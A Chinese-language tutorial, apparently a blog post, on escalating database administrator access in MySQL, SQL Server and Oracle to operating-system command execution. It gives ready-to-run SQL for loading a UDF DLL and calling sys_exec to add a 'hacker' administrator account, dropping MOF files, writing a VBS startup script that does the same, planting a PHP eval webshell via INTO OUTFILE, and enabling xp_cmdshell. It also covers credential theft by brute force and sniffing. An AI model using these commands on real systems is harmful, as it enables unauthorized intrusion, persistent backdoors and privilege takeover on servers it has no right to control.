数据库提权实战指南

概述 (Overview)

当获得数据库的高权限访问(如 MySQL 的 root、SQL Server 的 sa、Oracle 的 SYSDBA)后,可以利用数据库自身提供的功能(如用户自定义函数 UDF、存储过程、外部命令执行接口等)或漏洞,在数据库服务器所在的操作系统上执行命令或获取 Shell,从而将数据库权限提升为操作系统权限。

MySQL 提权
  1. 获取 MySQL 账号密码 (Gaining Credentials)

    • Web 应用配置文件 : 查找常见的配置文件名 (config.php, database.yml, web.config, conn.inc 等) 读取数据库连接字符串。

    • 暴力破解: 如果 MySQL 端口 (默认 3306) 对外开放,使用 Hydra, Medusa, Nmap NSE 脚本等进行在线爆破。

    • 读取物理文件 (需 OS 权限) : 读取 MySQL 数据目录下的 mysql/user.MYD 文件(包含用户信息,密码为 HASH),需离线破解。

    • 嗅探: 在网络中嗅探未加密的 MySQL 连接。

    • 其他漏洞: 利用 Web 应用漏洞(如 SQL 注入、文件读取)获取凭据。

    • 开启远程访问 (需要 root 权限) :

      sql 复制代码
      GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'your_password';
      FLUSH PRIVILEGES;
  2. 利用 UDF (User-Defined Functions) 提权

    • 原理 : 创建一个自定义函数(通常用 C/C++ 编写并编译为共享库 .so.dll),该函数可以调用系统命令。然后通过 SQL 语句调用这个 UDF 函数。

    • 利用条件 :

      • 获取了 MySQL 的高权限账户(如 root),至少有 INSERT, DELETE 权限和 CREATE FUNCTION 权限。
      • 知道 MySQL 的插件目录 (plugin_dir) 路径,并且该目录或其上级目录对 MySQL 进程可写(或能通过其他方式将 DLL/SO 文件写入)。
      • (Windows) 可能需要绕过 AppArmor/SELinux 等安全限制。
    • 步骤 (以 Windows DLL 为例) :

      1. 确定插件目录 : show variables like '%plugin_dir%';

      2. 准备 UDF 库 : 获取预编译的 udf.dll (如 lib_mysqludf_sys 提供的 sys_exec, sys_eval) 或自行编译。

      3. 上传/写入 DLL :

        • 如果 plugin_dir 可直接写入,使用 SELECT ... INTO DUMPFILE 将 DLL 的十六进制内容写入。

        • 如果目录不存在或不可写,尝试利用 NTFS ADS 流创建目录:

          sql 复制代码
          -- 假设插件目录是 C:\mysql\lib\plugin\
          -- (注意:这种方法可能不可靠或已被修复)
          select 'data' into dumpfile 'C:\\mysql\\lib::$INDEX_ALLOCATION';
          select 'data' into dumpfile 'C:\\mysql\\lib\\plugin::$INDEX_ALLOCATION';
          -- 然后再尝试写入 DLL
          select 0x4D5A90... into dumpfile 'C:\\mysql\\lib\\plugin\\udf.dll';
        • 更好的方法是利用其他漏洞(如文件上传)或 OS 权限将 DLL 放入插件目录。

        • 旧版本路径 : MySQL < 5.1 可能尝试写入 C:\Windows\System32C:\Winnt\System32

      4. 创建函数 :

        sql 复制代码
        CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.dll'; -- (或对应的 .so 文件)
      5. 执行命令 :

        sql 复制代码
        SELECT sys_exec('net user hacker hacker /add');
        SELECT sys_exec('net localgroup administrators hacker /add');
      6. 清理 :

        sql 复制代码
        DROP FUNCTION sys_exec;
        -- (可选) 删除 DLL 文件
    • 自动化工具: "MySQL 综合利用工具" 等图形化工具简化了此过程。

  3. 利用 MOF (Managed Object Format) 提权 (Windows)

    • 原理 : Windows Management Instrumentation (WMI) 会周期性地编译 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件,并以 SYSTEM 权限执行其中定义的 WMI 事件消费者。可以通过构造恶意的 .mof 文件(定义一个执行命令的消费者)并将其写入该目录来实现提权。
    • 利用条件 :
      • 获取了 MySQL 的 FILE 权限(通常 root 有)。
      • MySQL 配置未启用 secure-file-priv 或其允许写入 wbem/mof 目录。
      • 目标是 Windows 系统。
    • 步骤 :
      1. 准备 MOF 文件 : 编写一个 .mof 文件,其内容定义一个 WMI 事件过滤器和消费者,消费者执行恶意命令(如添加用户)。网上有现成的模板。

      2. 上传 MOF 文件 : 将 .mof 文件上传到服务器的可写目录(如 C:\wmpub\evil.mof)。

      3. 写入 MOF 目录 : 使用 SELECT ... INTO DUMPFILE 将 MOF 文件内容写入目标目录。

        sql 复制代码
        SELECT LOAD_FILE('C:/wmpub/evil.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';
      4. 等待执行: WMI 会自动编译并执行该 MOF 文件中的指令(通常很快)。

      5. 验证 : 检查命令是否已执行(如 net user 查看是否添加了用户)。

    • 风险: MOF 文件会被周期性执行,可能导致重复添加用户等问题。需要设计好 MOF 文件或及时清理。
  4. 利用 SELECT ... INTO OUTFILE/DUMPFILE 写文件

    • 原理 : 直接利用 FILE 权限将恶意内容写入特定位置的文件,实现代码执行或配置修改。

    • 写入启动项 (VBS 示例) :

      sql 复制代码
      -- 创建临时表存储 VBS 代码行
      CREATE TABLE temp_vbs (line TEXT);
      INSERT INTO temp_vbs VALUES ('Set wshshell = CreateObject("WScript.Shell")');
      INSERT INTO temp_vbs VALUES ('a = wshshell.run("cmd.exe /c net user hacker hacker /add", 0)');
      INSERT INTO temp_vbs VALUES ('b = wshshell.run("cmd.exe /c net localgroup Administrators hacker /add", 0)');
      -- 将表内容导出为 VBS 文件到启动目录
      SELECT line FROM temp_vbs INTO OUTFILE 'C:/Documents and Settings/Administrator/Start Menu/Programs/Startup/evil.vbs'; -- (路径可能因系统版本和用户名而异)
      DROP TABLE temp_vbs;
      • 触发: 需要等待用户下次登录或系统重启。
    • 写入 WebShell : 如果知道 Web 目录路径且有权限,可以直接写入 WebShell。

      sql 复制代码
      SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
SQL Server (MSSQL) 提权
  • 前提 : 通常需要 sa (System Administrator) 权限或具有 CONTROL SERVER 权限的用户。
  • 常用方法 :
    1. xp_cmdshell :
      • 原理: 内建的扩展存储过程,允许执行操作系统命令。默认可能被禁用。

      • 启用 :

        sql 复制代码
        -- 启用高级选项
        EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
        -- 启用 xp_cmdshell
        EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
      • 执行命令 : EXEC master..xp_cmdshell 'whoami';

      • 执行权限: 通常以 SQL Server 服务账户的权限运行。如果服务账户是高权限用户(如 LocalSystem, NetworkService 或配置的域用户),即可提权。

    2. 沙盒提权 (SQL Server 2005+) : 利用 CLR 集成、OLE Automation Objects (sp_OACreate, sp_OAMethod) 等执行 OS 命令。
    3. 其他存储过程/功能: 如涉及文件系统操作、注册表操作的存储过程。
  • 获取凭据 :
    • 查找 Web 应用配置文件 (web.config 等)。
    • 暴力破解 (端口 1433)。
    • 嗅探。
  • 自动化工具 : SQLTools, Metasploit 相关模块 (admin/mssql/mssql_enum, exploit/windows/mssql/mssql_payload 等)。
Oracle 提权
  • 前提 : 通常需要 SYSDBA, DBA 权限或具有特定权限(如 CREATE ANY PROCEDURE, CREATE LIBRARY, EXECUTE ON JAVA.LANG.RUNTIME)的用户。
  • 常用方法 :
    1. Java Stored Procedures :
      • 原理 : Oracle 支持使用 Java 编写存储过程。可以编写一个调用 java.lang.Runtime.getRuntime().exec() 的 Java 存储过程来执行 OS 命令。
      • 需要权限 : CREATE PROCEDURE, EXECUTE ON JAVA.LANG.RUNTIME
    2. External Procedures (extproc) :
      • 原理 : 调用在操作系统上编译的外部共享库 (.so/.dll) 中的函数。需要配置 listener.oratnsnames.ora。可以编写一个执行命令的外部库。
    3. Scheduler Jobs: 创建一个数据库作业 (Job),使其执行包含 OS 命令的 PL/SQL 块或调用上述 Java/External Procedure。
    4. PL/SQL 包 : 利用 UTL_FILE (文件操作)、DBMS_XMLQUERY (可能触发 XXE 或 SSRF)、DBMS_ADVISOR.CREATE_FILE (写文件) 等包中的过程。
  • 获取凭据 : Web 应用配置文件、默认口令 (如 scott/tiger, sys/change_on_install)、暴力破解 (端口 1521)。
  • 自动化工具: OracleShell, Metasploit 相关模块。
相关推荐
徒 花16 小时前
数据库知识复习07
数据库·作业
素玥16 小时前
实训5 python连接mysql数据库
数据库·python·mysql
jnrjian16 小时前
text index 查看index column index定义 index 刷新频率 index视图
数据库·oracle
瀚高PG实验室17 小时前
审计策略修改
网络·数据库·瀚高数据库
言慢行善17 小时前
sqlserver模糊查询问题
java·数据库·sqlserver
韶博雅17 小时前
emcc24ai
开发语言·数据库·python
有想法的py工程师17 小时前
PostgreSQL 分区表排序优化:Append Sort 优化为 Merge Append
大数据·数据库·postgresql
迷枫71218 小时前
达梦数据库的体系架构
数据库·oracle·架构
夜晚打字声18 小时前
9(九)Jmeter如何连接数据库
数据库·jmeter·oracle
Chasing__Dreams18 小时前
Mysql--基础知识点--95--为什么避免使用长事务
数据库·mysql